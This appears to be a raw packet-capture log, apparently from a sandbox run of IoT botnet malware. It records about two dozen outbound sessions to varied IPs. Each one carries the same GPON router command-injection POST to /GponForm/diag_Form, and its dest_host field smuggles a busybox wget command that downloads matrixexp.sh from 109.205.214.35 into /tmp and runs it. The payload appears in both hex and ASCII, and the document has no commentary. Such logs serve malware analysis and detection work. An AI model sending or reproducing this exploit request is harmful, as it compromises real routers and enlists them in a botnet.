Mar 21, 2024 05:26:34.288403988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.23	56980	178.221.160.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288407087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.23	41704	37.112.55.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288455009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.23	34610	2.179.170.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288460016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.23	41204	94.203.221.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288467884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.23	56348	37.116.251.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288486958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.23	40576	212.94.110.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288536072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.23	40522	42.49.109.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288536072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.23	43294	212.75.48.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288564920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.23	33020	210.32.166.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288574934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.23	38240	210.87.107.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288578987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.23	50572	42.24.135.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288626909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.23	46146	212.39.238.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288626909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.23	52656	210.233.185.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288647890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.23	39066	42.86.192.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288651943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.23	59012	42.76.158.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288666964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.23	44622	178.167.194.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288697958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.23	58982	5.144.135.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288701057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.23	58958	79.121.114.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288701057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.23	49428	5.239.225.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288727045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.23	60460	2.21.2.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288785934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.23	34970	37.27.111.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288794994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.23	34456	79.156.85.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288803101 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.23	44630	210.0.179.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.288827896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.23	49206	5.94.207.191	443

Timestamp	Bytes transferred	Direction	Data
